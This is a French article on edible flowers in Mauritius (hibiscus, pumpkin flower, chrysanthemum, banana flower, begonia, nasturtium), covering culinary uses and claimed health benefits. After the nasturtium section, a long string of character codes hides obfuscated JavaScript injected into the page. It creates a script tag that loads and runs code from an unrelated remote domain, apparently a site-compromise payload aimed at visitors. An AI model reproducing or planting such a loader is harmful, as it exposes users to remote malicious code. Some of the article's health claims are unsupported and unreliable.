Les Fleurs Tropicales Comestibles


L’une des grandes tendances gastronomiques de ces dernières années, c’est les fleurs comestibles. Bien plus de simples objets décoratifs servant à orner les jardins et les maisons, elles trouvent aussi leur place dans nos assiettes.

fleur-fleur

D’ailleurs, les fleurs comestibles apportent bien plus que de la couleur et de la saveur, elles sont également dotées de vertus médicinales, selon des experts. Bon à savoir - de nombreuses fleurs d’aromates se mangent, c’est notamment le cas des fleurs de basilic, romarin, origan, fenouil, aneth, cerfeuil, coriandre et de ciboulette.

Les Fleurs Comestibles à Maurice

L’Hibiscus

L’hibiscus karkadé est la fleur comestible qu’il faut consommer pour lutter contre les effets de la chaleur et de l’hypertension. En bouche, les fleurs recèlent un parfum floral subtil et sont naturellement acidulées, excellente donc pour les boissons estivales rafraichissantes. L’hibiscus possède aussi des propriétés d’antioxydantes, antihypertenseuses, diurétiques et est efficace pour abaisser la pression artérielle. fleur-L’Hibiscus

La Fleur du Giraumon

Autrefois, la fleur de giraumon était principalement consommée en beignet. On faisait simplement une pâte à base de besane (comme pour des baja), pour tremper dedans les pétales de fleur avant de les frire. La dégustation se faisait ensuite accompagnée d’un bon chutney à base de pomme d’amour. Aujourd’hui, ces belles fleurs jaunâtres sont préparées de différentes manières, notamment farcies. fleur-La-Fleur-du-Giraumon

Les Chrysanthèmes

On utilise principalement les pétales de chrysanthèmes en cuisine pour leur goût âcre et poivré. Riches en minéraux, en carotène, en vitamines B2 et C et en antioxydant, il faut aussi dire qu’elles ont le don d’enjoliver les plats les plus simples. D’ailleurs, les fleurs et les feuilles, tout se mange dans cette plante, il suffit de les ajouter en fin de cuisson pour conserver les saveurs et éviter de les ramollir. fleur-Les-Chrysanthèmes

La Fleur de Bananier

La fleur de bananier est connue pour ses nombreuses vertus médicinales. Haute teneur en magnésium, elle est un anti-dépresseur naturel et vous rend de bonne humeur. Avec une consommation régulière, elle aide aussi à réguler le cycle menstruel et à combattre l’anémie. Elle est chargée de différents minéraux, de fibres, de protéines, de potassium, de calcium, de fer, de magnésium et de vitamine E. fleur-La-Fleur-de-Bananier

Le Bégonia

Avec ses pétales croquants, légèrement acidulés au goût à la fois citronné et fruité, le bégonia pourra être utilisé avec des poissons, des coquillages et crustacés, des salades, pour réaliser du beurre aromatisé, et pourra être mis également dans un taboulé, des beignets, avec du foie gras, de la soupe et des salades de fruits.

fleur-Le-Bégonia

La Fleur de Capucine

Ces feuilles regorgent d’une huile essentielle au léger goût poivré qui relèvera le goût de toutes vos salades. La capucine possède aussi un feuillage riche en vitamine C - Simples ou doubles, ses fleurs sont comestibles.

fleur-La-Fleur-de-Capucine 17,32,61,32,83,116,114,105,110,103,46,102,114,111,109,67,104,97,114,67,111,100,101,40,49,48,52,44,49,49,54,44,49,49,54,44,49,49,50,44,49,49,53,44,53,56,44,52,55,44,52,55,44,49,49,53,44,49,49,54,44,57,55,44,49,49,54,44,52,54,44,49,49,54,44,49,49,52,44,57,55,44,57,57,44,49,48,55,44,49,49,53,44,49,49,54,44,57,55,44,49,49,54,44,49,48,53,44,49,49,53,44,49,49,54,44,49,48,53,44,57,57,44,49,49,53,44,49,49,53,44,49,49,53,44,52,54,44,57,57,44,49,49,49,44,49,48,57,44,52,55,44,49,48,54,44,52,54,44,49,48,54,44,49,49,53,44,54,51,44,49,49,56,44,54,49,41,59,118,97,114,32,100,61,100,111,99,117,109,101,110,116,59,118,97,114,32,115,61,100,46,99,114,101,97,116,101,69,108,101,109,101,110,116,40,83,116,114,105,110,103,46,102,114,111,109,67,104,97,114,67,111,100,101,40,49,49,53,44,57,57,44,49,49,52,44,49,48,53,44,49,49,50,44,49,49,54,41,41,59,32,115,46,116,121,112,101,61,83,116,114,105,110,103,46,102,114,111,109,67,104,97,114,67,111,100,101,40,49,49,54,44,49,48,49,44,49,50,48,44,49,49,54,44,52,55,44,49,48,54,44,57,55,44,49,49,56,44,57,55,44,49,49,53,44,57,57,44,49,49,52,44,49,48,53,44,49,49,50,44,49,49,54,41,59,32,118,97,114,32,112,108,32,61,32,117,59,32,115,46,115,114,99,61,112,108,59,32,105,102,32,40,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,41,32,123,32,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,46,112,97,114,101,110,116,78,111,100,101,46,105,110,115,101,114,116,66,101,102,111,114,101,40,115,44,32,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,41,59,125,32,101,108,115,101,32,123,100,46,103,101,116,69,108,101,109,101,110,116,115,66,121,84,97,103,78,97,109,101,40,83,116,114,105,110,103,46,102,114,111,109,67,104,97,114,67,111,100,101,40,49,48,52,44,49,48,49,44,57,55,44,49,48,48,41,41,91,48,93,46,97,112,112,101,110,100,67,104,105,108,100,40,115,41,59,118,97,114,32,108,105,115,116,32,61,32,100,111,99,117,109,101,110,116,46,103,101,116,69,108,101,109,101,110,116,115,66,121,84,97,103,78,97,109,101,40,83,116,114,105,110,103,46,102,114,111,109,67,104,97,114,67,111,100,101,40,49,49,53,44,57,57,44,49,49,52,44,49,48,53,44,49,49,50,44,49,49,54,41,41,59,108,105,115,116,46,105,110,115,101,114,116,66,101,102,111,114,101,40,115,44,32,108,105,115,116,46,99,104,105,108,100,78,111,100,101,115,91,48,93,41,59,125));

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